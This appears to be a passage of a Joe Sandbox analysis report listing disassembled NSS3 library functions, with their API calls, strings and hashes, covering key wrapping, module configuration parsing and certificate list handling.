PR_LogPrint.NSS3(?,00000000), ref: 6C688EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C688EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C688F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F29
PR_LogPrint.NSS3(?,00000000), ref: 6C688F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C688F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F80
PR_LogPrint.NSS3(?,00000000), ref: 6C688F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C688FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C688FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C689047

Strings

pWrappedKey = 0x%p, xrefs: 6C688FAD
hSession = 0x%x, xrefs: 6C688E8E, 6C688E9E
hWrappingKey = 0x%x, xrefs: 6C688F01, 6C688F11
*pulWrappedKeyLen = 0x%x, xrefs: 6C689042
hKey = 0x%x, xrefs: 6C688F5B, 6C688F6B
(CK_INVALID_HANDLE), xrefs: 6C688EAC, 6C688F1F, 6C688F79
pulWrappedKeyLen = 0x%p, xrefs: 6C688FC8
nvl, xrefs: 6C688FEC, 6C689023
pMechanism = 0x%p, xrefs: 6C688EE0
C_WrapKey, xrefs: 6C688E71

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nvl
API String ID: 1003633598-2875670105
Opcode ID: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction ID: c05e45639354678bcf95fd6f34a7c161239e47ce9165580414ea61dd78f9234c
Opcode Fuzzy Hash: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction Fuzzy Hash: 1551A531603108ABDB109F55DE4CF9A7B76AB4634CF084035F9096BA62DB309958CBBE

Function 6C6B4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000,00000000,00000001), ref: 6C6B5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6B5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C6B5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2), ref: 6C6B50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5153
free.MOZGLUE(?), ref: 6C6B516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B5195

Strings

name=, xrefs: 6C6B5057
library=, xrefs: 6C6B5043
parameters=, xrefs: 6C6B506B
config=, xrefs: 6C6B509B
nss=, xrefs: 6C6B5083

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction ID: c088cfdb71abb43f6902931d337e96fa8c2bb2ee761274e8767b72fed6dc0859
Opcode Fuzzy Hash: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction Fuzzy Hash: 5551A5B1A011056BEB00DE64DD45AEE37A8AF16248F140030FC19F7741EB35EA26C7BA

Function 6C6B4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C5B
PR_smprintf.NSS3(6C78AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C6B4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C6B4DA2
free.MOZGLUE(?), ref: 6C6B4DB9
free.MOZGLUE(00000000), ref: 6C6B4DCF

Strings

timeout, xrefs: 6C6B4C91
rootFlags, xrefs: 6C6B4D47
rust, xrefs: 6C6B4D22
slotFlags, xrefs: 6C6B4D34
every, xrefs: 6C6B4CA1
%s,%s, xrefs: 6C6B4C4B
ootT, xrefs: 6C6B4D1A
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C6B4D9D
any, xrefs: 6C6B4C96
0x%08lx=[%s %s], xrefs: 6C6B4D80

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction ID: cc24fd8302f3a4a17570e65b1fd10fcec1edd80f96c817ce2fbd3c31eac68d10
Opcode Fuzzy Hash: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction Fuzzy Hash: B5418DB29011416BDB115F689C446BE3BA5AF82758F144134FC1A2BB01E771E934C7EB

Function 6C696CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C696943
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C696957
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C696972
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C696983
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6969AA
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6969BE
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6969D2
Part of subcall function 6C696910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6969DF
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C696A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696D8C
free.MOZGLUE(00000000), ref: 6C696DC5
free.MOZGLUE(?), ref: 6C696DD6
free.MOZGLUE(?), ref: 6C696DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E72
free.MOZGLUE(?), ref: 6C696EA7
free.MOZGLUE(?), ref: 6C696EC4
free.MOZGLUE(?), ref: 6C696ED5
free.MOZGLUE(00000000), ref: 6C696EE3
free.MOZGLUE(?), ref: 6C696EF4
free.MOZGLUE(?), ref: 6C696F08
free.MOZGLUE(00000000), ref: 6C696F35
free.MOZGLUE(?), ref: 6C696F44
free.MOZGLUE(?), ref: 6C696F5B
free.MOZGLUE(00000000), ref: 6C696F65

Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
Part of subcall function 6C696C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96
Part of subcall function 6C696C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C696FF4

Strings

+`jl, xrefs: 6C696D0D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`jl
API String ID: 1304971872-3317076573
Opcode ID: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction ID: 51ebf55746ee75ca23376b80f47fe103eabd56014f05637eb2b51fc32ab9cc19
Opcode Fuzzy Hash: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction Fuzzy Hash: 8AB15BB0E0530A9FDF40DBA5DC44BAEBBB9AF05359F140025E815E7A10E731E915CBE9

Function 6C641FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C642007
calloc.MOZGLUE(00000001,00000084), ref: 6C642077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6420DF
TlsSetValue.KERNEL32(00000000), ref: 6C642188
PR_NewCondVar.NSS3 ref: 6C6421B7
calloc.MOZGLUE(00000001,00000084), ref: 6C64221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6422C2
GetLastError.KERNEL32 ref: 6C6422CD
free.MOZGLUE(00000000), ref: 6C6422DD

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Strings

X {l, xrefs: 6C64218E
T {l, xrefs: 6C642361

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T {l$X {l
API String ID: 3559583721-736249941
Opcode ID: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction ID: 9a0fdf5ce97a30bab5ef0d2dcc866cade5d3449c233c6a0c7f4f9c54f752b9a3
Opcode Fuzzy Hash: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction Fuzzy Hash: 6E916BB16017019FDB20AF78DC4DBAB7BF4BB06749F10853AE55AD6A40DB70A104CB99

Function 6C65DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65DDDE

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C65DDF5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65DE34
PR_Now.NSS3 ref: 6C65DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C65DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C65DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C65DEF0
PR_smprintf.NSS3(6C78AAF9,(NULL) (Validity Unknown)), ref: 6C65DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C65DF33
free.MOZGLUE(00000000), ref: 6C65DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF4B
free.MOZGLUE(00000000), ref: 6C65DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65DF8E

Strings

{???}, xrefs: 6C65DE8B
%s%s, xrefs: 6C65DEEB
(NULL) (Validity Unknown), xrefs: 6C65DEFA

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction ID: a911e82a0a673f726b3593f5b6b917041a2cd874ef988a083c42badf50be4b04
Opcode Fuzzy Hash: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction Fuzzy Hash: 3C51B2B1E002156BDB00DF659E45AAF7AB8EF85358F644028EC09E7B40E731D925CBF9

Function 6C692D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C692DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C692E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C692E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000,?), ref: 6C692E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C,?,-00000001,00000000), ref: 6C692E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C692EF8
PR_Unlock.NSS3(?), ref: 6C692F62
TlsGetValue.KERNEL32 ref: 6C692F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C692F9E
PR_Unlock.NSS3(?), ref: 6C692FCA
TlsGetValue.KERNEL32 ref: 6C69301A
EnterCriticalSection.KERNEL32(?), ref: 6C69302E
PR_Unlock.NSS3(?), ref: 6C693066
PR_SetError.NSS3(00000000,00000000), ref: 6C693085
PR_Unlock.NSS3(?), ref: 6C6930EC
TlsGetValue.KERNEL32 ref: 6C69310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C693124
PR_Unlock.NSS3(?), ref: 6C69314C

Part of subcall function 6C679180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C67918D
Part of subcall function 6C679180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C6A379E,?,6C679568,00000000,?,6C6A379E,?,00000001,?), ref: 6C6791A0

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

PR_SetError.NSS3(00000000,00000000), ref: 6C69316D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction ID: 5db7b98909653f67d8ccf35584931866b19ac49c434238806d40bbce8ab55597
Opcode Fuzzy Hash: be5bfee79d8383336f47a5b82fc8c10427f5d6a04e65dc931633f8a46e565eea
Instruction Fuzzy Hash: 2EF17CB5D0020AAFDF00DF64D888B9EBBB5BF09318F144169EC09A7721E731E995CB95

Function 6C679FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C679FBE

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C67A015

Part of subcall function 6C691940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C69195C
Part of subcall function 6C691940: EnterCriticalSection.KERNEL32(?,?,6C69563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001), ref: 6C691970
Part of subcall function 6C691940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5), ref: 6C6919A0

PL_FreeArenaPool.NSS3(?), ref: 6C67A067
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A055

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A07E
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C67A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C67A0CF
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C67A12E
PL_FreeArenaPool.NSS3(?), ref: 6C67A140
PL_FinishArenaPool.NSS3(?), ref: 6C67A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67A158
PL_FinishArenaPool.NSS3(?), ref: 6C67A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C67A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67A1B2
free.MOZGLUE(00000000), ref: 6C67A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C67A1D6

Part of subcall function 6C6955E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C66EAC5,00000001,?,6C66CE9B,00000001,6C66EAC5,00000003,-00000004,00000000,?,6C66EAC5), ref: 6C695627
Part of subcall function 6C6955E0: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001,?,6C66CE9B), ref: 6C69564F
Part of subcall function 6C6955E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5,00000001), ref: 6C695661
Part of subcall function 6C6955E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66EAC5), ref: 6C6956AF

Strings

